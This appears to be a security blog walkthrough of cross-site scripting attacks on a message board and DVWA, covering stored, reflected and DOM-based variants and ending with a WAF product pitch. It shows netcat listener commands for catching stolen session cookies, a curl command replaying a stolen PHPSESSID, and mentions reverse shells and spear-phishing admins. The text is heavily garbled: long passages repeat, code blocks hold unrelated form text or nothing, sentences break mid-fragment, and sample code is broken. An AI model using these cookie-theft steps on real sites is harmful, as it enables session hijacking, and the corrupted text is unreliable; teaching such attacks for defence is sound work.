Web application threats continue to cause serious security issues for large corporations and small businesses alike. In 2016, even the smallest, local family businesses have a Web presence, and it is important to understand the potential attack surface in any web-facing asset, in order to properly understand vulnerabilities, exploitability, and thus risk. The Open Web Application Security Project (OWASP) is a non-profit organization dedicated to ensuring the safety and security of web application software, and periodically releases a Top 10 list of common categories of web application security flaws. The current list is available at [https://www.owasp.org/index.php/Top_10_2013­Top_10](https://www.owasp.org/index.php/Top_10_2013­Top_10) (an updated list for 2016/2017 is currently in data call announcement), and is used by application developers, security professionals, software vendors and IT managers as a reference point for understanding the nature of web application security vulnerabilities.

This article presents a detailed analysis of the OWASP security flaw A3: Cross-Site Scripting (XSS), including descriptions of the three broad types of XSS and possibilities for exploitation.

Cross Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of web application injection attack in which malicious script is delivered to a client browser using the vulnerable web app as an intermediary. The general effect is that the client browser is tricked into performing actions not intended by the web application. The classic example of an XSS attack is to force the victim browser to throw an ‘XSS!’ or ‘Alert!’ popup, but actual exploitation can result in the theft of cookies or confidential data, download of malware, etc.

Persistent XSS

Persistent (or Stored) XSS refers to a condition where the malicious script can be stored persistently on the vulnerable system, such as in the form of a message board post. Any victim browsing the page containing the XSS script is an exploit target. This is a very serious vulnerability as a public stored XSS vulnerability could result in many thousands of cookies stolen, drive-by malware downloads, etc.

As a proof-of-concept for cookie theft on a simple message board application, consider the following:

Here is our freshly-installed message board application. Users can post comments, admins can access the admin panel.

**My Blog**

- Welcome
  - Username: admin
  - Password: admin

Let’s use the typical POC exercise to validate that the message board is vulnerable to XSS:
Cross Site Scripting (XSS) Exploit Paths

Dylan Syme, 2017­25­01

Web application threats continue to cause serious security problems. According to the OWASP Top 10 list of most dangerous vulnerabilities, Cross Site Scripting (XSS) is one of the top threats, which means that an attacker can inject and execute code on the target system. This is achieved by persuading a user to visit a malicious site, which contains the injected code. There are two main types of XSS: non-persistent (reflected) and persistent. Non-persistent XSS occurs when the attacker modifies a user-supplied URL parameter that is sent to a vulnerable web application. Persistent XSS occurs when the attacker injects a script that is executed whenever the page is requested, typically by a victim who has already visited the attacker’s site.

As noted in the previous section, it is of course highly recommended that any preventive controls be tested – which typically means running an automated tool. For example, while an IPS may block the <script> tag (if it is correctly configured to intercept SSL), it may not be able to prevent it from being executed by the attacker. However, for many (most?) businesses, it may not be possible to conduct code reviews or commit development effort to prevent XSS attacks.

Now I start a listener on my attacking box, this can be as simple as netcat, but can be any webserver of your choosing (python simpleHTTPServer is another nice option).

```
dsym@kylie:~$ sudo nc -nvlp 81
```

And wait for someone - hopefully the site admin - to browse the page.

The admin has logged in and browsed the page. Now, my listener catches the HTTP callout from my malicious script:

```
Welcome to my blog. Leave a comment if you like the new design :)  

Comments:

Title:  
Author:  
Text:  

OK
```

Just throwing a dialog box is kinda boring, so let’s do something more interesting. I’m going to inject a persistent XSS script that will steal the cookies of anyone browsing the vulnerable page:

```
Welcome to my blog. Leave a comment if you like the new design :)  

Comments:

Title:  
Author:  
Text:  

Submit Query
```

Now I start a listener on my attacking box, this can be as simple as netcat, but can be any webserver of your choosing (python simpleHTTPServer is another nice option).

```
dsym@kylie:~$ sudo nc -nvlp 81
```

And wait for someone - hopefully the site admin - to browse the page.

The admin has logged in and browsed the page. Now, my listener catches the HTTP callout from my malicious script:

```
Welcome to my blog. Leave a comment if you like the new design :)  

Comments:

Title:  
Author:  
Text:  

Submit Query
```

Sure enough, it is:

```
Welcome

Welcome to my blog. Leave a comment if you like the new design :)  

Comments:

Title:  
Author:  
Text:  

Submit Query
```

Just throwing a dialog box is kinda boring, so let’s do something more interesting. I’m going to inject a persistent XSS script that will steal the cookies of anyone browsing the vulnerable page:

```
Welcome to my blog. Leave a comment if you like the new design :)  

Comments:

Title:  
Author:  
Text:  

Submit Query
```

Now I start a listener on my attacking box, this can be as simple as netcat, but can be any webserver of your choosing (python simpleHTTPServer is another nice option).

```
dsym@kylie:~$ sudo nc -nvlp 81
```

And wait for someone - hopefully the site admin - to browse the page.

The admin has logged in and browsed the page. Now, my listener catches the HTTP callout from my malicious script:

```
Welcome to my blog. Leave a comment if you like the new design :)  

Comments:

Title:  
Author:  
Text:  

Submit Query
```

Sure enough, it is:

```
Welcome

Welcome to my blog. Leave a comment if you like the new design :)  

Comments:

Title:  
Author:  
Text:  

Submit Query
```

Just throwing a dialog box is kinda boring, so let’s do something more interesting. I’m going to inject a persistent XSS script that will steal the cookies of anyone browsing the vulnerable page:

```
Welcome to my blog. Leave a comment if you like the new design :)  

Comments:

Title:  
Author:  
Text:  

Submit Query
```

Now I start a listener on my attacking box, this can be as simple as netcat, but can be any webserver of your choosing (python simpleHTTPServer is another nice option).

```
dsym@kylie:~$ sudo nc -nvlp 81
```

And wait for someone - hopefully the site admin - to browse the page.

The admin has logged in and browsed the page. Now, my listener catches the HTTP callout from my malicious script:
And I have my stolen cookie `PHPSESSID=1rft6d834uqtf1qtgh5156a5m4`.

Now I can use an intercepting proxy or cookie manager to impersonate admin. Using Burp:

[Image of Burp intercepting a request]

Or, using Cookie Manager for Firefox:

[Image of Firefox Cookie Manager]

Now I’m logged into the admin page:
Access to a web application CMS is pretty close to pwn. From here I can persist my access by creating additional admin accounts (noisy), or upload a shell (web/php reverse) to get shell access to the victim server.

Bear in mind that using such techniques we could easily host malware on our webserver, and every victim visiting the page with stored XSS would get a drive-by download.

Non-Persistent XSS

Non-persistent (or reflected) XSS refers to a slightly different condition in which the malicious content (script) is immediately returned by a web application, be it through an error message, search result, or some other means that echoes some part of the request back to the client. Due to their nonpersistent nature, the malicious code is not stored on the vulnerable webserver, and hence it is generally necessary to trick a victim into opening a malicious link in order to exploit a reflected XSS vulnerability.

We’ll use our good friend DVWA (Damn Vulnerable Web App) for this example.

First, we’ll validate that it is indeed vulnerable to a reflected XSS attack:

It is. Note that this can be POC’d by using the web form, or directly inserting code into the ‘name’ parameter in the URL.

Let’s make sure we can capture a cookie using the similar manner as before. Start a netcat listener on 192.168.178.136:81 (and yes, we could use a full-featured webserver for this to harvest many cookies), and inject the following into the ‘name’ parameter:

```html
```
We have a cookie, `PHPSESSID=1km95nv7u7dlihlkjirehbiu2`. Let's see if we can use it to login from the command line without using a browser:

```bash
$ curl -b "security=low;PHPSESSID=1km95nv7u7dlihlkjirehbiu2" --location "http://192.168.178.140/dvwa/login.php"
```

```bash
$ dsyme@kylie-$ egrep Username login.html
<br/>$<em>Username:</em> <br/>admin<br/>$<em>Security Level:</em> low<br/>$<em>PHPIDS:</em> 
```

Indeed we can.

Now, of course, we just stole our own cookie here. In a real attack we'd be wanting to steal the cookie of the actual site admin, and to do that, we'd need to trick him or her into clicking the following link:

```html
```

Or, easily enough to put into an HTML message like [this](https://www.owasp.org/index.php/DOM_Based_XSS).

And now we need to get our victim to click the link. A spear phishing attack might be a good way.

And again, we start our listener and wait.

Of course, instead of stealing admin's cookies, we could host malware on a webserver somewhere, and distribute the malicious URL by phishing campaign, host on a compromised website, distribute through Adware (there are many possibilities), and wait for drive-by downloads. The malicious links are often obfuscated using a URL-shortening service.

**DOM-Based XSS**
DOM-based XSS is an XSS attack in which the malicious payload is executed as a result of modification of the Document Object Model (DOM) environment of the victim browser. A key differentiator between DOM-based and traditional XSS attacks is that in DOM-based attacks the malicious code is not sent in the HTTP response from server to client. In some cases, suspicious activity may be detected in HTTP requests, but in many cases no malicious content is ever sent to or from the webservice. Usually, a DOM-based XSS vulnerability is introduced by poor input validation on a client-side script.

A very nice demo of DOM-based XSS is presented at https://xss-doc.appspot.com/demo/3. Here, the URL Fragment (the portion of the URL after #, which is never sent to the server) serve as input to a client-side script - in this instance, telling the browser which tab to display:

```html
```

Unfortunately, the URL fragment data is passed to the client-side script in an unsafe fashion. Viewing the source of the above webpage, line 8 shows the following function definition:

```
function chooseTab(name) {
  var html = "Image " + parseInt(name) + "<br>";
  html += "<img src="/static/demos/GEECS" + name + ".jpg" />";
}
```

And line 33:

```
window.onload = function()
  if (self.location.hash) {
    chooseTab(self.location.hash.substr(1));
  } else {
```

In this case we can pass a string to the URL fragment that we know will cause the function to error, e.g. "foo", and set an error condition. Reproducing the example from the above URL with full credit to the author, it is possible to inject code into the error condition causing an alert dialog:

Which could be modified in a similar fashion to steal cookies etc.

And of course we could deface the site by injecting an image of our choosing from an external source:

```html
$echo -n <<<"<img src=x oneerror=alert(DOM-XSS/)>"
```
There are other possible vectors for DOM-based XSS attacks, such as:

- Unsanitized URL or POST body parameters that are passed to the server but do not modify the HTTP response, but are stored in the DOM to be used as input to the client-side script. An example is given at https://www.owasp.org/index.php/DOM_Based_XSS
- Interception of the HTTP response to include additional malicious scripts (or modify existing scripts) for the client browser to execute. This could be done with a Man-in-the-Browser attack (malicious browser extensions), malware, or response-side interception using a web proxy.
- Like reflected XSS, exploitation is often accomplished by fooling a user into clicking a malicious link.

DOM-based XSS is typically a client-side attack. The only circumstances under which server-side web-based defences (such as mod_security, IDS/IPS or WAF) are able to prevent DOM-based XSS is if the malicious script is sent from client to server, which is not usually the case for DOM-based XSS.

As more and more web applications utilize client-side components (such as sending periodic AJAX calls for updates), DOM-based XSS vulnerabilities are on the increase - an estimated 10% of the Alexa top 10k domains contained DOM-based XSS vulnerabilities according to Ben Stock, Sebastian Lekies and Martin Johns (https://www.blackhat.com/docs/asia-15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf).
F5 Silverline is a cloud-based WAF solution and provides native and quick protection against XSS attacks. This can be an excellent solution for deployed production applications that include XSS vulnerabilities, because modifying the application code to remove the vulnerability can be time-consuming and resource-intensive. Full details of blocked attacks (true positives) can be viewed in the Silverline portal, enabling application and network administrators to extract key data in order to profile attackers:

Similarly, time-based histograms can be displayed providing details of blocked XSS campaigns over time. Here, we can see that a serious XSS attack was prevented by Silverline WAF on September 1st:

F5 Application Security Manager (ASM) can provide a similar level of protection in an on-premise capacity.

Cross Site Scripting (XSS) Exploit Paths
Dylan Syme, 2017-25-01
Web application threats continue to cause serious security issues for large corporations and small businesses alike. In 2017, Cross Site Scripting (XSS) continues to appear on the OWASP Top 10 threats list, with reports of up to 80% of websites being affected by this vulnerability.

The OWASP XSS Prevention Cheat Sheet is a valuable resource that provides guidance for developers and security professionals on how to prevent XSS attacks. It covers topics such as URL encoding, HTML encoding, and server-side validation, among others.

While some web application frameworks provide built-in protection against XSS vulnerabilities, there are cases where additional measures are required. For example, in some cases, it may be necessary to perform additional validation on user input before it is processed.

One such case is DOM-based XSS, which occurs when an attacker injects malicious code into a web page through the use of client-side JavaScript. This can be done through various means, such as through a phishing attack, sending the malicious code in a link or email, or through a drive-by download.

Typical IPS appliances lack the HTTP intelligence to be able to provide the same level of protection as a WAF. For resources online on the topic.

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf)

XSS vulnerabilities according to Ben Stock, Sebastian Lekies and Martin Johns (As many more web applications utilize client-side components (such as sending periodic AJAX calls for updates), DOM-based XSS is typically a client-side attack. The only circumstances under which server-side web-based defences handle the URL decoding required to catch obfuscated attacks.

Typical IPS appliances lack the HTTP intelligence to be able to provide the same level of protection as a WAF. For resources online on the topic.

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf)

Cross Site Scripting (XSS) Exploit Paths
Dylan Syme, 2017-25-01
Web application threats continue to cause serious security issues for large corporations and small businesses alike. In 2017, Cross Site Scripting (XSS) continues to appear on the OWASP Top 10 threats list, with reports of up to 80% of websites being affected by this vulnerability.

The OWASP XSS Prevention Cheat Sheet is a valuable resource that provides guidance for developers and security professionals on how to prevent XSS attacks. It covers topics such as URL encoding, HTML encoding, and server-side validation, among others.

While some web application frameworks provide built-in protection against XSS vulnerabilities, there are cases where additional measures are required. For example, in some cases, it may be necessary to perform additional validation on user input before it is processed.

One such case is DOM-based XSS, which occurs when an attacker injects malicious code into a web page through the use of client-side JavaScript. This can be done through various means, such as through a phishing attack, sending the malicious code in a link or email, or through a drive-by download.

Typical IPS appliances lack the HTTP intelligence to be able to provide the same level of protection as a WAF. For resources online on the topic.

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf)

XSS vulnerabilities according to Ben Stock, Sebastian Lekies and Martin Johns (As many more web applications utilize client-side components (such as sending periodic AJAX calls for updates), DOM-based XSS is typically a client-side attack. The only circumstances under which server-side web-based defences handle the URL decoding required to catch obfuscated attacks.

Typical IPS appliances lack the HTTP intelligence to be able to provide the same level of protection as a WAF. For resources online on the topic.

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf)
It is of course highly recommended that any preventive controls be tested - which typically means running an automated vulnerability scan (good) or manual penetration test (better) against the application once the control is in place.

As noted in the previous section, do not expect web-based defences such as a WAF to protect against DOM-based XSS as most attack vectors do not actually send any malicious traffic to the server.